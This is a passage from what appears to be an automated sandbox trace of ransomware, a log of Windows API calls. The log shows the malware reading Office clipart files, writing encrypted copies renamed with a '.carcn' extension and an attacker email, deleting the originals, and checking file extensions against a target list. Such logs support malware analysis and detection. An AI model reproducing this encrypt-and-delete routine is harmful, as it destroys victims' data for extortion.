lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.162] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.162] SetEndOfFile (hFile=0x368) returned 1 [0298.162] CloseHandle (hObject=0x368) returned 1 [0298.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.162] SetEndOfFile (hFile=0x388) returned 1 [0298.163] CloseHandle (hObject=0x388) returned 1 [0298.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0298.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.164] lstrlenW (lpString=".doc") returned 4 [0298.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.164] lstrlenW (lpString=".docx") returned 5 [0298.164] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.164] lstrlenW (lpString=".pdf") returned 4 [0298.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString=".xls") returned 4 [0298.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.165] lstrlenW (lpString=".xlsx") returned 5 [0298.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.165] lstrlenW (lpString=".ppt") returned 4 [0298.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString=".zip") returned 4 [0298.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.165] lstrlenW (lpString=".rar") returned 4 [0298.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString=".bz2") returned 4 [0298.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString=".7z") returned 3 [0298.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString=".dbf") returned 4 [0298.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString=".1cd") returned 4 [0298.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString=".jpg") returned 4 [0298.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.165] lstrlenW (lpString=".doc") returned 4 [0298.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.165] lstrlenW (lpString=".docx") returned 5 [0298.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.165] lstrlenW (lpString=".pdf") returned 4 [0298.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString=".xls") returned 4 [0298.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.166] lstrlenW (lpString=".xlsx") returned 5 [0298.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.166] lstrlenW (lpString=".ppt") returned 4 [0298.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.166] lstrlenW (lpString=".zip") returned 4 [0298.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.166] lstrlenW (lpString=".rar") returned 4 [0298.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString=".bz2") returned 4 [0298.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString=".7z") returned 3 [0298.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.166] lstrlenW (lpString=".dbf") returned 4 [0298.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.166] lstrlenW (lpString=".1cd") returned 4 [0298.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0298.166] lstrlenW (lpString=".jpg") returned 4 [0298.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.166] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.166] lstrlenW (lpString="BS00076_.WMF") returned 12 [0298.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.167] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=1330) returned 1 [0298.167] CloseHandle (hObject=0x388) returned 1 [0298.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x220 [0298.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.167] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.167] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.168] GetLastError () returned 0x0 [0298.168] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x532, lpOverlapped=0x0) returned 1 [0298.169] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x540, lpOverlapped=0x0) returned 1 [0298.170] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.170] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.171] SetEndOfFile (hFile=0x368) returned 1 [0298.171] CloseHandle (hObject=0x368) returned 1 [0298.171] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.171] SetEndOfFile (hFile=0x388) returned 1 [0298.172] CloseHandle (hObject=0x388) returned 1 [0298.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0298.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.173] lstrlenW (lpString=".doc") returned 4 [0298.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.173] lstrlenW (lpString=".docx") returned 5 [0298.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.173] lstrlenW (lpString=".pdf") returned 4 [0298.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.173] lstrlenW (lpString=".xls") returned 4 [0298.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.173] lstrlenW (lpString=".xlsx") returned 5 [0298.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.173] lstrlenW (lpString=".ppt") returned 4 [0298.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.173] lstrlenW (lpString=".zip") returned 4 [0298.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.173] lstrlenW (lpString=".rar") returned 4 [0298.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.174] lstrlenW (lpString=".bz2") returned 4 [0298.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.174] lstrlenW (lpString=".7z") returned 3 [0298.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.174] lstrlenW (lpString=".dbf") returned 4 [0298.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.174] lstrlenW (lpString=".1cd") returned 4 [0298.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.174] lstrlenW (lpString=".jpg") returned 4 [0298.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.175] lstrlenW (lpString=".doc") returned 4 [0298.175] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.175] lstrlenW (lpString=".docx") returned 5 [0298.175] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.175] lstrlenW (lpString=".pdf") returned 4 [0298.175] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.175] lstrlenW (lpString=".xls") returned 4 [0298.175] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.175] lstrlenW (lpString=".xlsx") returned 5 [0298.175] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.175] lstrlenW (lpString=".ppt") returned 4 [0298.175] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.175] lstrlenW (lpString=".zip") returned 4 [0298.175] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.175] lstrlenW (lpString=".rar") returned 4 [0298.175] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.175] lstrlenW (lpString=".bz2") returned 4 [0298.175] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.175] lstrlenW (lpString=".7z") returned 3 [0298.175] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.176] lstrlenW (lpString=".dbf") returned 4 [0298.176] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.176] lstrlenW (lpString=".1cd") returned 4 [0298.176] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 68 [0298.176] lstrlenW (lpString=".jpg") returned 4 [0298.176] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.176] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.176] lstrlenW (lpString="BS00078_.WMF") returned 12 [0298.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.176] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=1444) returned 1 [0298.177] CloseHandle (hObject=0x388) returned 1 [0298.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x220 [0298.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.177] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.177] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.178] GetLastError () returned 0x0 [0298.178] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x5a4, lpOverlapped=0x0) returned 1 [0298.452] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x5b0, lpOverlapped=0x0) returned 1 [0298.453] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.453] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0298.453] SetEndOfFile (hFile=0x368) returned 1 [0298.453] CloseHandle (hObject=0x368) returned 1 [0298.454] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.454] SetEndOfFile (hFile=0x388) returned 1 [0298.454] CloseHandle (hObject=0x388) returned 1 [0298.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0298.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0298.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.455] lstrlenW (lpString=".doc") returned 4 [0298.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.455] lstrlenW (lpString=".docx") returned 5 [0298.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.455] lstrlenW (lpString=".pdf") returned 4 [0298.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".xls") returned 4 [0298.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.456] lstrlenW (lpString=".xlsx") returned 5 [0298.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.456] lstrlenW (lpString=".ppt") returned 4 [0298.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString=".zip") returned 4 [0298.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.456] lstrlenW (lpString=".rar") returned 4 [0298.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".bz2") returned 4 [0298.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".7z") returned 3 [0298.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString=".dbf") returned 4 [0298.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString=".1cd") returned 4 [0298.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString=".jpg") returned 4 [0298.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.456] lstrlenW (lpString=".doc") returned 4 [0298.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".docx") returned 5 [0298.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.456] lstrlenW (lpString=".pdf") returned 4 [0298.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString=".xls") returned 4 [0298.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.457] lstrlenW (lpString=".xlsx") returned 5 [0298.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.457] lstrlenW (lpString=".ppt") returned 4 [0298.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.457] lstrlenW (lpString=".zip") returned 4 [0298.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.457] lstrlenW (lpString=".rar") returned 4 [0298.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString=".bz2") returned 4 [0298.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString=".7z") returned 3 [0298.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.457] lstrlenW (lpString=".dbf") returned 4 [0298.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.457] lstrlenW (lpString=".1cd") returned 4 [0298.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0298.457] lstrlenW (lpString=".jpg") returned 4 [0298.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.457] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0298.457] lstrlenW (lpString="BS00092_.WMF") returned 12 [0298.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.458] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=7974) returned 1 [0298.458] CloseHandle (hObject=0x388) returned 1 [0298.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x220 [0298.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0298.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0298.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0298.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0298.459] GetLastError () returned 0x0 [0298.459] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x1f26, lpOverlapped=0x0) returned 1 [0298.460] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x1f30, lpOverlapped=0x0) returned 1 [0298.461] ReadFile (in: hFile=0x388, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0298.461] WriteFile (in: hFile=0x368, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, 